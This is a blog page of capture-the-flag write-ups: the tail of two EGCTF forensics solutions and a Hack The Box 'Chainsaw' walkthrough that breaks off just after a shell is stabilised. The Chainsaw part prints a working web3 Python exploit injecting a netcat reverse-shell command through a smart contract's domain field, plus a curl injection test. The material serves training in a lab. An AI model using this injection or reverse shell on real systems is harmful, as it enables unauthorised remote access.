[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

After decoding the data I used file to check the type of the new file, it was a 7z archive:

1
2
3
4
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# base64 -d final.b64 > final.decoded
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# file final.decoded
final.decoded: 7-zip archive data, version 0.4
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

I tried to extract it, but it was password protected:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# 7z e final.decoded                                                                                                                                        

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on

Scanning the drive for archives:
1 file, 2954 bytes (3 KiB)

Extracting archive: final.decoded
--
Path = final.decoded
Type = 7z
Physical Size = 2954
Headers Size = 154
Method = LZMA2:24k 7zAES
Solid = -
Blocks = 1


Enter password (will not be echoed):
ERROR: Data Error in encrypted file. Wrong password? : employee_data.txt

Sub items Errors: 1

Archives with Errors: 1

Sub items Errors: 1
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

I checked the network capture again and found an HTTP request to a file called key.txt:


The response was a base-64 encoded string so I decoded it then I used the result as a password:

1
2
3
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# echo dGghc2MwbXBsZXhwQHNzdzByZA | base64 -d
[email protected]: invalid input
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# 7z e final.decoded

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on

Scanning the drive for archives:
1 file, 2954 bytes (3 KiB)

Extracting archive: final.decoded
--
Path = final.decoded
Type = 7z
Physical Size = 2954
Headers Size = 154
Method = LZMA2:24k 7zAES
Solid = -
Blocks = 1


Enter password (will not be echoed):
Everything is Ok

Size: 17612
Compressed: 2954
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

And finally I got the flag:

1
2
3
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# grep EGCTF ./employee_data.txt 
| 154 | Nanette | Cambrault | NCAMBRAU | EGCTF{04ebc6f21584ef9dd240190de62c493c} | 1987-08-10 | SA_REP | 7500.00 | 0.20 | 145 | 80 |
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

Forensics: Secret Agent

Challenge Description:

1
A secret agent was found sending a message to an unknown party. We managed to intercept network traffic but could not recover the message. Can you help us?

Solution

Weā€™re given a pcapng file called SecretMessage.pcapng, by looking at the capture in wireshark and sorting the packets according to their protocol I noticed a bunch of ICMP requests with weird ttlnumbers:

These numbers were ASCII characters codes, I tried decoding the first 5 ones and I got EGCTF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# python
Python 2.7.16 (default, Apr 6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print chr(69)
E
>>> print chr(71)
G
>>> print chr(67)
C
>>> print chr(84)
T
>>> print chr(70)
F
>>>

Doing it manually will take some time so I exported the ICMP packets as a txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets
No. Time Source Destination Protocol Length Info
4606 106.913965051 192.168.125.138 192.168.125.143 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=69 (reply in 4607)

Frame 4606: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
Ethernet II, Src: Vmware_44:51:4f (00:0c:29:44:51:4f), Dst: Vmware_86:2b:43 (00:0c:29:86:2b:43)
Internet Protocol Version 4, Src: 192.168.125.138, Dst: 192.168.125.143
Internet Control Message Protocol
---
No. Time Source Destination Protocol Length Info
4748 110.024784457 192.168.125.143 192.168.125.138 ICMP 60 Echo (ping) reply id=0x0000, seq=0/0, ttl=128 (request in 4747)

Frame 4748: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0
Ethernet II, Src: Vmware_86:2b:43 (00:0c:29:86:2b:43), Dst: Vmware_44:51:4f (00:0c:29:44:51:4f)
Internet Protocol Version 4, Src: 192.168.125.143, Dst: 192.168.125.138
Internet Control Message Protocol
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent#

I used grep to get only the lines with ttl:

1
2
3
4
5
6
7
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets | grep "ttl"
4606 106.913965051 192.168.125.138 192.168.125.143 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=69 (reply in 4607)
4607 106.914430466 192.168.125.143 192.168.125.138 ICMP 60 Echo (ping) reply id=0x0000, seq=0/0, ttl=128 (request in 4606)
---
4747 110.022313975 192.168.125.138 192.168.125.143 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=125 (reply in 4748)
4748 110.024784457 192.168.125.143 192.168.125.138 ICMP 60 Echo (ping) reply id=0x0000, seq=0/0, ttl=128 (request in 4747)
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent#

Then by using cut I got the ttl numbers only:

1
2
3
4
5
6
7
8
9
10
11
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets | grep 'ttl' | cut -d "=" -f 4 | cut -d "(" -f 1
69
128
71
128
---
95
128
125
128
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent#

We donā€™t need 128 because thatā€™s the ttl number from the response packets so weā€™ll remove it by piping to grep -v "128", then finally will use echo -n on the output to produce a single line output:

1
2
3
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# echo -n `cat icmp_packets | grep 'ttl' | cut -d "=" -f 4 | cut -d "(" -f 1 | grep -v "128"`
69 71 67 84 70 123 89 48 117 95 71 48 84 95 116 104 101 95 70 76 64 103 95 84 84 76 95 109 64 110 105 112 117 108 97 116 105 111 110 95 33 115 95 65 119 101 115 48 109 101 95 67 48 110 103 114 64 116 117 108 114 97 116 105 111 110 95 95 125
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent#

I used the ASCII code tool from dcode.fr to decode the flag:

Thatā€™s it , Feedback is appreciated !
Donā€™t forget to read the other write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Hack The Box - Chainsaw

23 November 2019 at 03:00

Hack The Box - Chainsaw

Quick Summary

Hey guys, today Chainsaw retired and hereā€™s my write-up about it. It was a great machine with vulnerable smart contracts and other fun stuff. I enjoyed it and I learned a lot while solving it. Itā€™s a Linux box and its ip is 10.10.10.142, I added it to /etc/hosts as chainsaw.htb. Letā€™s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[email protected]:~/Desktop/HTB/boxes/chainsaw# nmap -sV -sT -sC -o nmapinitial chainsaw.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 18:34 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (1.2s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json
| -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol
|_-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.xx.xx
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA)
| 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA)
|_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 394.56 seconds
[email protected]:~/Desktop/HTB/boxes/chainsaw#

We got ssh on port 22 and ftp on port 21.

FTP

Anonymous authentication was allowed on the ftp server, so letā€™s check whatā€™s in there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[email protected]:~/Desktop/HTB/boxes/chainsaw# ftp chainsaw.htb 
Connected to chainsaw.htb.
220 (vsFTPd 3.0.3)
Name (chainsaw.htb:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json
-rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol
-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt
226 Directory send OK.
ftp> mget *
mget WeaponizedPing.json? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for WeaponizedPing.json (23828 bytes).
226 Transfer complete.
23828 bytes received in 0.26 secs (88.2424 kB/s)
mget WeaponizedPing.sol? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for WeaponizedPing.sol (243 bytes).
226 Transfer complete.
243 bytes received in 0.00 secs (2.3174 MB/s)
mget address.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for address.txt (44 bytes).
226 Transfer complete.
44 bytes received in 0.00 secs (421.2623 kB/s)
ftp> exit
221 Goodbye.
[email protected]:~/Desktop/HTB/boxes/chainsaw#

WeaponizedPing.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.24;

contract WeaponizedPing
{
string store = "google.com";

function getDomain() public view returns (string)
{
return store;
}

function setDomain(string _value) public
{
store = _value;
}
}

WeaponizedPing.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
{
"contractName": "WeaponizedPing",
"abi": [
{
"constant": true,
"inputs": [],
"name": "getDomain",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_value",
"type": "string"
}
],
"name": "setDomain",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}
],
"bytecode": "0x60806040526040805190810160405280600a81526020017f676f6f676c652e636f6d000000000000000000000000000000000000000000008152506000908051906020019061004f929190610062565b5034801561005c57600080fd5b50610107565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100a357805160ff19168380011785556100d1565b828001600101855582156100d1579182015b828111156100d05782518255916020019190600101906100b5565b5b5090506100de91906100e2565b5090565b61010491905b808211156101005760008160009055506001016100e8565b5090565b90565b6102d7806101166000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029",
"deployedBytecode": "0x60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029",
"sourceMap": "27:210:1:-;;;56:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;27:210;8:9:-1;5:2;;;30:1;27;20:12;5:2;27:210:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;",
"deployedSourceMap": "27:210:1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;;8:9:-1;5:2;;;30:1;27;20:12;5:2;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;166:68;;8:9:-1;5:2;;;30:1;27;20:12;5:2;166:68:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;130:6;153:5;146:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;:::o;166:68::-;223:6;215:5;:14;;;;;;;;;;;;:::i;:::-;;166:68;:::o;27:210::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o",
"source": "pragma solidity ^0.4.24;\n\n\ncontract WeaponizedPing {\n\n string store = \"google.com\";\n\n function getDomain() public view returns (string) {\n return store;\n }\n function setDomain(string _value) public {\n store = _value;\n }\n\n}\n\n",
"sourcePath": "/opt/WeaponizedPing/WeaponizedPing.sol",
"ast": {
"absolutePath": "/opt/WeaponizedPing/WeaponizedPing.sol",
"exportedSymbols": {
"WeaponizedPing": [
80
]
},
----------
Redacted
----------
"networks": {
"1543936419890": {
"events": {},
"links": {},
"address": "0xaf6ce61d342b48cc992820a154fe0f533e5e487c",
"transactionHash": "0x5e94c662f1048fca58c07e16506f1636391f757b07c1b6bb6fbb4380769e99e1"
}
},
"schemaVersion": "2.0.1",
"updatedAt": "2018-12-04T15:24:57.205Z"
}

address.txt:

1
0x479C21df57F2deaB052C466E4de7E82539F6A988

WeaponizedPing: Analysis

WeaponizedPing is a smart contract. smart contracts are written in a language called solidity.

The contract has a variable called store which holds the value google.com by default:

1
string store = "google.com";

There are two functions, getDomain() which returns the value of store:

1
2
3
4
function getDomain() public view returns (string) 
{
return store;
}

And setDomain() which takes a string and changes the value of store from whatever it was to that string:

1
2
3
4
function setDomain(string _value) public 
{
store = _value;
}

From the name of the contract (WeaponizedPing), I assumed that ping gets executed on store. We can control store by calling setDomain(), if the ping command doesnā€™t get filtered weā€™ll be able to inject commands and get RCE. However to do all of that we need to be able to interact with the contract in the first place.

WeaponizedPing: Interaction

Assuming that the contract is deployed on a publicly exposed ethereum node, I ran a full nmap scan to find the port on which the server is running:

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:~/Desktop/HTB/boxes/chainsaw# nmap -p- -T5 chainsaw.htb --max-retries 1 -o nmapfull
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:08 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (2.8s latency).
Not shown: 37555 closed ports, 27977 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
9810/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 674.00 seconds
[email protected]:~/Desktop/HTB/boxes/chainsaw#

I found another open port (9810), I ran a service scan on that port:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
[email protected]:~/Desktop/HTB/boxes/chainsaw# nmap -p 9810 -sV -sT -sC -o nmap9810 chainsaw.htb                                                                                                                          
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:24 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (1.7s latency).

PORT STATE SERVICE VERSION
9810/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:25:01 GMT
| Connection: close
| Request
| GetRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:24:27 GMT
| Connection: close
| Request
| HTTPOptions:
| HTTP/1.1 200 OK
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:24:30 GMT
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9810-TCP:V=7.70%I=7%D=11/22%Time=5DD819CA%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nAccess-Control-All
SF:ow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Type,\x20Accept,
SF:\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-
SF:Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDate:\x20Fri,\x2
SF:022\x20Nov\x202019\x2017:24:27\x20GMT\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(HTTPOptions,100,"HTTP/1\.1\x20200\x20OK\r\nAcce
SF:ss-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Ty
SF:pe,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nA
SF:ccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDa
SF:te:\x20Fri,\x2022\x20Nov\x202019\x2017:24:30\x20GMT\r\nConnection:\x20c
SF:lose\r\n\r\n")%r(FourOhFourRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nAccess-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x2
SF:0Content-Type,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin:
SF:\x20\*\r\nAccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/
SF:plain\r\nDate:\x20Fri,\x2022\x20Nov\x202019\x2017:25:01\x20GMT\r\nConne
SF:ction:\x20close\r\n\r\n400\x20Bad\x20Request");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 90.55 seconds
[email protected]:~/Desktop/HTB/boxes/chainsaw#

It responded to HTTP requests which means that the JSON-RPC server is HTTP based.
There are a lot of ways to interact with ethereum smart contracts, I used web3 python library. (A great reference)
I imported Web3 and eth:

1
from web3 import Web3, eth

Then I created a new web3 connection to http://chainsaw.htb:9810 and saved it in a variable called w3:

1
w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))

To interact with the smart contract we need two things:

  • The address of the contract: we got the address earlier from the ftp server (Note: that address changes everytime the box is reset).
  • The ABI (Application Binary Interface) of the contract: We can get it from the contract source.

To get the ABI I used the solidity IDE to compile the contract then I clicked on ā€œDetailsā€ and copied the ABI:

I saved it in a file (ABI.txt) then I executed echo -n on cat ABI.txt to make it a single line:

1
2
3
[email protected]:~/Desktop/HTB/boxes/chainsaw# echo -n `cat ABI.txt`
[ { "constant": true, "inputs": [], "name": "getDomain", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setDomain", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ]
[email protected]:~/Desktop/HTB/boxes/chainsaw#

I saved the ABI and the address in variables:

1
2
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"

Then I finally created the contract representation and saved it in the variable contract:

1
contract = w3.eth.contract(address=address, abi=abi)

By using the functions property we can call any function that the contract has, letā€™s call the function getDomain():

1
print(contract.functions.getDomain().call())

Final test.py looks like this:

1
2
3
4
5
6
7
8
9
#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
print(contract.functions.getDomain().call())

Letā€™s run it:

1
2
3
[email protected]:~/Desktop/HTB/boxes/chainsaw# ./test.py 
google.com
[email protected]:~/Desktop/HTB/boxes/chainsaw#

Itā€™s working fine, letā€™s try to change the domain by using setDomain():

1
contract.functions.setDomain("test").transact()

Note: When passing arguments to functions we have to use transact() instead of call(), to use transact() we need an account, thatā€™s why I added this line:

1
w3.eth.defaultAccount = w3.eth.accounts[0]

test.py:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
w3.eth.defaultAccount = w3.eth.accounts[0]
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
contract.functions.setDomain("test").transact()
print(contract.functions.getDomain().call())
1
2
3
[email protected]:~/Desktop/HTB/boxes/chainsaw# ./test.py 
test
[email protected]:~/Desktop/HTB/boxes/chainsaw#

Great, now for the exploitation part.

WeaponizedPing: Exploitation

Letā€™s try to inject commands in the domain name and see if itā€™ll work, I injected a curl command and I ran a python server on port 80:

1
contract.functions.setDomain("test; curl http://10.10.xx.xx/").transact()

test.py:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
w3.eth.defaultAccount = w3.eth.accounts[0]
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
contract.functions.setDomain("test; curl http://10.10.xx.xx/").transact()
print(contract.functions.getDomain().call())
1
2
3
[email protected]:~/Desktop/HTB/boxes/chainsaw# ./test.py 
test; curl http://10.10.xx.xx/
[email protected]:~/Desktop/HTB/boxes/chainsaw#

After a few seconds I got a request:

1
2
3
[email protected]:~/Desktop/HTB/boxes/chainsaw# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.142 - - [22/Nov/2019 20:59:23] "GET / HTTP/1.1" 200 -

Based on these tests I wrote this small exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3
import json
from web3 import Web3, eth
from sys import argv

YELLOW = "\033[93m"
GREEN = "\033[32m"

def exploit(address, ip, port):
print(YELLOW + "[+] Starting")
print(YELLOW + "[+] Connecting to chainsaw.htb:9810")
w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
print(GREEN + "[*] Connection Established")
w3.eth.defaultAccount = w3.eth.accounts[0]
print(YELLOW + "[+] Creating the contract representation")
print(YELLOW + "[+] Address: {}".format(address))
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
contract = w3.eth.contract(address=address, abi=abi)
print(GREEN + "[*] Done")
print(YELLOW + "[+] Injecting Reverse Shell:")
print(YELLOW + " [!] IP: {}".format(ip))
print(YELLOW + " [!] PORT: {}".format(port))
contract.functions.setDomain("pwn3d;nc {} {} -e /bin/sh".format(ip,port)).transact()
print(GREEN + "[*] Domain Changed Successfully, New Value: " + contract.functions.getDomain().call())
print(GREEN + "[*] Now wait for your reverse shell, Exiting...")
exit()

if len(argv) != 4 or argv[1] == "-h":
print(YELLOW + "[!] Usage: {} [contract address] [ip] [port]".format(argv[0]))
exit()
else:
address = argv[1]
ip = argv[2]
port = argv[3]
exploit(address, ip, port)

I listened on port 1337 and ran the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
[email protected]:~/Desktop/HTB/boxes/chainsaw# ./exploit.py 0x479C21df57F2deaB052C466E4de7E82539F6A988 10.10.xx.xx 1337
[+] Starting
[+] Connecting to chainsaw.htb:9810
[*] Connection Established
[+] Creating the contract representation
[+] Address: 0x479C21df57F2deaB052C466E4de7E82539F6A988
[*] Done
[+] Injecting Reverse Shell:
[!] IP: 10.10.xx.xx
[!] PORT: 1337
[*] Domain Changed Successfully, New Value: pwn3d;nc 10.10.xx.xx 1337 -e /bin/sh
[*] Now wait for your reverse shell, Exiting...
[email protected]:~/Desktop/HTB/boxes/chainsaw#

And I got a shell immediately as a user called administrator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[email protected]:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.142.
Ncat: Connection from 10.10.10.142:49262.
whoami
administrator
which python
/usr/bin/python
python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/opt/WeaponizedPing$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/chainsaw# stty raw -echo
